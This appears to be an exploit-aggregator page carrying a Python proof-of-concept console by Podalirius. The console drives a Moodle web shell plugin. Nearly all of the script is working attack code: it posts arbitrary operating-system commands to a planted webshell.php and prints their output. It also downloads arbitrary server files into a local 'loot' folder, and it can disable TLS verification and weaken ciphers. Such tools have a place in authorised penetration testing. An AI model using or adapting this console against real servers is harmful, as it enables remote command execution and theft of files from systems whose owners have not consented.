4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / console.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : console.py
# Author             : Podalirius (@podalirius_)
# Date created       : 21 May 2022


import argparse
import os
import readline
import requests
import json


class CommandCompleter(object):
    def __init__(self):
        self.options = {
            "help": [],
            "download": [],
            "exit": []
        }

    def complete(self, text, state):
        if state == 0:
            if len(text) == 0:
                self.matches = [s for s in self.options.keys()]
            elif len(text) != 0:
                self.matches = [s for s in self.options.keys() if s and s.startswith(text)]
        try:
            return self.matches[state] + " "
        except IndexError:
            return None


readline.set_completer(CommandCompleter().complete)
readline.parse_and_bind('tab: complete')
readline.set_completer_delims('\n')


def parseArgs():
    parser = argparse.ArgumentParser(description="Interactive console for Moodle webshell plugin")
    parser.add_argument("-t", "--target", default=None, required=True, help='Moodle target instance')
    parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)")
    parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
    return parser.parse_args()


def remote_exec(target, cmd, verbose=False):
    try:
        r = requests.post(
            "%s/local/moodle_webshell/webshell.php" % target,
            data={
                "action": "exec",
                "cmd": cmd,
            }
        )
        if r.status_code == 200:
            data = r.json()
            if verbose:
                print(json.dumps(data, indent=4))
            if len(data["stdout"].strip()) != 0:
                print(data["stdout"].strip())

            if len(data["stderr"].strip()) != 0:
                for line in data["stderr"].strip().split('\n'):
                    print("\x1b[91m%s\x1b[0m" % line)
    except Exception as e:
        print(e)


def remote_download(target, remote_path, local_path="./loot/"):
    def b_filesize(content):
        l = len(content)
        units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB']
        for k in range(len(units)):
            if l < (1024 ** (k + 1)):
                break
        return "%4.2f %s" % (round(l / (1024 ** k), 2), units[k])
    #
    r = requests.post(
        "%s/local/moodle_webshell/webshell.php" % target,
        data={
            "action": "download",
            "path": remote_path,
        }
    )

    if r.status_code == 200:
        print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path))
        dir = local_path + os.path.dirname(remote_path)
        if not os.path.exists(dir):
            os.makedirs(dir, exist_ok=True)
        f = open(local_path + remote_path, "wb")
        f.write(r.content)
        f.close()
        return True
    else:
        print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", remote_path))
        return False


def show_help():
    print(" - %-15s %s " % ("download", "Downloads a file from the remote server."))
    print(" - %-15s %s " % ("help", "Displays this help message."))
    print(" - %-15s %s " % ("exit", "Exits the script."))
    return


if __name__ == '__main__':
    options = parseArgs()

    if not options.target.startswith("https://") and not options.target.startswith("http://"):
        options.target = "http://" + options.target

    if options.insecure_tls:
        # Disable warings of insecure connection for invalid cerificates
        requests.packages.urllib3.disable_warnings()
        # Allow use of deprecated and weak cipher methods
        requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
        try:
            requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
        except AttributeError:
            pass

    running = True
    while running:
        cmd = input("[webshell]> ").strip()
        args = cmd.lower().split(" ")

        if args[0] == "exit":
            running = False
        elif args[0] == "help":
            show_help()
        elif args[0] == "download":
            if len(args) != 2 and len(args) != 3:
                print("Usage: download <remotepath> [localpath]")
            elif len(args) == 2:
                remote_download(options.target, remote_path=args[1])
            elif len(args) == 3:
                remote_download(options.target, remote_path=args[1], local_path=args[2])
        else:
            remote_exec(options.target, cmd, verbose=options.verbose)